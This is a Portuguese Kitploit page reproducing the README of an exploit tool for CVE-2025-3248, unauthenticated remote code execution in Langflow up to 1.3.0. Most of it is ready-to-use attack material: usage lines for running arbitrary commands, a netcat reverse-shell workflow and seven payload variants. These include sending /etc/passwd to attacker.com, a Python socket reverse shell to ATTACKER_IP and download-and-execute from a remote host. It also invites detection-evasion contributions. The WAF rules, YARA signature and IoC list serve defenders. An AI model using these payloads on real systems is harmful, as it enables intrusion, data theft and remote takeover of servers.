Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-3248-exploit — Um framework abrangente de exploração em Python para testar e demonstrar a CVE-2025-3248, uma vulnerabilidade crítica de execução remota de código não autenticada no Langflow versões ≤ 1.3.0. | Kitploit
Ferramentas/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Scanners de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e ControleAprendizado e Educação
Red Teaming
Desenvolvimento de Payloads
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Um framework abrangente de exploração em Python para testar e demonstrar a CVE-2025-3248, uma vulnerabilidade crítica de execução remota de código não autenticada no Langflow versões ≤ 1.3.0.

Ver Repositório
31há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-3248: Scanner de Vulnerabilidade RCE Não Autenticado do Langflow

License Python Status CVSS EPSS

Um framework abrangente de exploração em Python para testar e demonstrar a CVE-2025-3248, uma vulnerabilidade crítica de execução remota de código não autenticada no Langflow versões ≤ 1.3.0.


🔴 Visão Geral da Vulnerabilidade

CVE-2025-3248: Injeção de Código RCE no Langflow

PropriedadeValor
ID CVECVE-2025-3248
ProdutoLangflow
Versões Afetadas≤ 1.3.0
Tipo de VulnerabilidadeExecução Remota de Código Não Autenticada (RCE)
Vetor de AtaqueRede
Autenticação NecessáriaNenhuma
Pontuação CVSS9.8 (Crítica)
Pontuação EPSS92.57%
CWECWE-94 (Controle Impróprio da Geração de Código)
Endpoint Vulnerável/api/v1/validate/code

Causa Raiz

A vulnerabilidade existe no endpoint de API /api/v1/validate/code, que aceita código Python arbitrário e o valida usando a função insegura exec() do Python, sem sanitização adequada de entrada ou sandboxing. A vulnerabilidade explora o comportamento do Python em que:

  1. Decoradores são avaliados imediatamente durante a definição da função
  2. Valores de argumento padrão são executados durante a análise da Árvore Sintática Abstrata (AST)
  3. Nenhuma validação de entrada existe para impedir a execução de código malicioso

Cadeia de Ataque

root@kitploit:~
Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Recursos

  • ✅ Detecção de Endpoint: Identifica automaticamente instâncias Langflow vulneráveis
  • ✅ Teste em Múltiplas Etapas: 4 testes progressivos de vulnerabilidade
  • ✅ Execução de Comandos: Execute comandos arbitrários do sistema no alvo
  • ✅ Extração de Ambiente: Recupere variáveis de ambiente e configuração
  • ✅ Operações de Arquivo: Teste capacidades de leitura/escrita de arquivos
  • ✅ Suporte a Reverse Shell: Inicie sessões interativas de reverse shell
  • ✅ Detecção de Versão: Identifique informações de versão do Langflow
  • ✅ Saída com Código de Cores: Legibilidade aprimorada com cores de terminal
  • ✅ Gerenciamento de Timeout: Timeouts de requisição configuráveis
  • ✅ Bypass de SSL/TLS: Suporte para certificados autoassinados

📦 Requisitos

root@kitploit:~
Python >= 3.7
requests >= 2.25.0

Instalar Dependências

root@kitploit:~
pip install requests

Opcional (para melhores logs)

root@kitploit:~
pip install colorama  # For Windows color support

🚀 Instalação

Método 1: Clonar do GitHub

root@kitploit:~
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Uso

Sintaxe Básica

root@kitploit:~
python3 cve_2025_3248_test.py -t <target_url> [options]

Exemplos de Início Rápido

1. Verificação Básica de Vulnerabilidade

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com

2. Executar Comando Personalizado

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Executar Múltiplos Comandos

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Exploração com Reverse Shell (Somente Testes Autorizados)

Passo 1: Inicie um listener netcat na sua máquina

root@kitploit:~
nc -lvnp 4444

Passo 2: Execute o exploit

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Exemplo:

root@kitploit:~
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Verificação com Timeout Personalizado

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argumentos de Linha de Comando

root@kitploit:~
positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 Variações de Payload

1. Execução Baseada em Decorador

root@kitploit:~
payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Execução por Argumento Padrão

root@kitploit:~
payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltração de Dados

root@kitploit:~
payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

root@kitploit:~
payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operações de Leitura de Arquivos

root@kitploit:~
payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumeração de Variáveis de Ambiente

root@kitploit:~
payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Baixar e Executar

root@kitploit:~
payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Detecção e Mitigação

Para Defensores

Ações Imediatas

  1. Atualize o Langflow

    root@kitploit:~
    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. Restrinja o Acesso à Rede

    root@kitploit:~
    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Implemente Autenticação

    root@kitploit:~
    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Regras de WAF

Regra ModSecurity:

root@kitploit:~
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Regras de Detecção

Assinatura YARA:

root@kitploit:~
rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoramento e Logs

root@kitploit:~
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicadores de Comprometimento (IoCs)

  • Requisições POST incomuns para /api/v1/validate/code
  • Processos iniciados pelo Langflow com nomes suspeitos
  • Conexões de saída inesperadas do servidor Langflow
  • Arquivos criados com timestamps incomuns em /tmp
  • Execução de subprocesso Python a partir do processo Langflow
  • Falhas de autenticação seguidas de requisições de API
  • Pico no uso de CPU/Memória do contêiner Langflow

🔬 Análise Técnica

Como a Vulnerabilidade Funciona

A cadeia da vulnerabilidade funciona da seguinte forma:

root@kitploit:~
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Dangerous! No sanitization

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Result: Arbitrary command execution

Por que Decoradores Funcionam

O comportamento do Python com decoradores durante a definição de funções:

root@kitploit:~
# This code gets executed immediately:
@decorator_expression
def my_function():
    pass

# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
    pass

Por Que É Crítica

  1. Nenhuma Autenticação Necessária: Qualquer pessoa pode acessar o endpoint
  2. Acessível pela Rede: Pode ser explorada remotamente
  3. Acesso Total ao Sistema: Executa com os privilégios do processo Langflow
  4. Sem Validação de Entrada: Execução direta de código
  5. Amplamente Implantado: Usado em ambientes de produção
  6. Alta Disponibilidade de Exploit: PoCs públicas disponíveis

📊 Linha do Tempo da Vulnerabilidade

DataEvento
2025-04-06Vulnerabilidade descoberta e relatada à equipe Langflow
2025-04-17Exploit público divulgado (Exploit-DB)
2025-05-14Alerta de Surto da FortiguardLabs emitido
2025-05-21Análise da Zscaler ThreatLabz publicada
2025-05-22RecordedFuture relata exploração ativa
2025-06-16TrendMicro relata exploração pelo botnet FLODRIC
2025-06-17Análise abrangente da OffSec publicada
2025-11-05Entrada no banco de dados de vulnerabilidades da SentinelOne
2025-11-20Tentativas contínuas de exploração observadas

🛡️ Checklist de Testes Defensivos

Ao realizar testes de segurança autorizados:

  • Obtenha autorização por escrito antes de testar
  • Documente todas as atividades de teste
  • Use ambientes de teste isolados quando possível
  • Evite explorar sistemas de produção desnecessariamente
  • Limpe quaisquer artefatos (arquivos, processos) criados durante os testes
  • Reporte as descobertas de forma responsável à organização-alvo
  • Siga práticas de divulgação responsável
  • Mantenha a confidencialidade dos resultados dos testes

📚 Referências

  • Blog OffSec: Análise da CVE-2025-3248
  • SentinelOne: Injeção de Código RCE no Langflow
  • Zscaler ThreatLabz: Vulnerabilidade RCE CVE-2025-3248
  • TrendMicro: Exploração pelo Botnet FLODRIC
  • RecordedFuture: Relatório de Exploração Ativa
  • Exploit-DB: RCE no Langflow 1.3.0
  • Advisories do GitHub: GHSA-c995-4fw3-j39m


🤝 Contribuindo

Contribuições são bem-vindas! Siga estas diretrizes:

  1. Faça um fork do repositório
  2. Crie um branch de funcionalidade (git checkout -b feature/amazing-feature)
  3. Faça commit das suas alterações (git commit -m 'Add amazing feature')
  4. Envie para o branch (git push origin feature/amazing-feature)
  5. Abra um Pull Request

Ideias de Contribuição

  • Variações adicionais de payload
  • Técnicas alternativas de exploração
  • Métodos de evasão de detecção
  • Estratégias de mitigação
  • Melhorias na documentação
  • Correções de bugs


⚠️ Aviso Legal

AVISO LEGAL IMPORTANTE:

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ILEGAL e viola leis, incluindo:

  • Computer Fraud and Abuse Act (CFAA) - EUA
  • Computer Misuse Act - Reino Unido
  • Information Technology Act (ITA) - Índia
  • Leis semelhantes na sua jurisdição

Você é o único responsável por:

  • ✅ Obter autorização explícita por escrito dos proprietários do sistema antes de testar
  • ✅ Garantir que todas as atividades estejam em conformidade com as leis locais e internacionais
  • ✅ Usar esta ferramenta apenas em sistemas que você possui ou tem permissão para testar
  • ✅ Manter a confidencialidade das descobertas de segurança
  • ✅ Seguir práticas de divulgação responsável
  • ✅ Não usar esta ferramenta para fins maliciosos

Ao usar esta ferramenta, você concorda em:

  • Não usá-la para acesso não autorizado ou danos
  • Aceitar total responsabilidade legal por suas ações
  • Indenizar e isentar os criadores de qualquer responsabilidade
  • Cumprir todas as leis e regulamentos aplicáveis

Os criadores e contribuidores NÃO ASSUMEM RESPONSABILIDADE ALGUMA pelo uso indevido desta ferramenta.

📖 Recursos Adicionais

Materiais de Aprendizado

  • Injeção de Código OWASP
  • CWE-94: Controle Impróprio da Geração de Código
  • Segurança em Python: Perigos do exec()
  • Técnicas de Reverse Shell

Última Atualização: 21 de novembro de 2025


root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝
Baixar ferramenta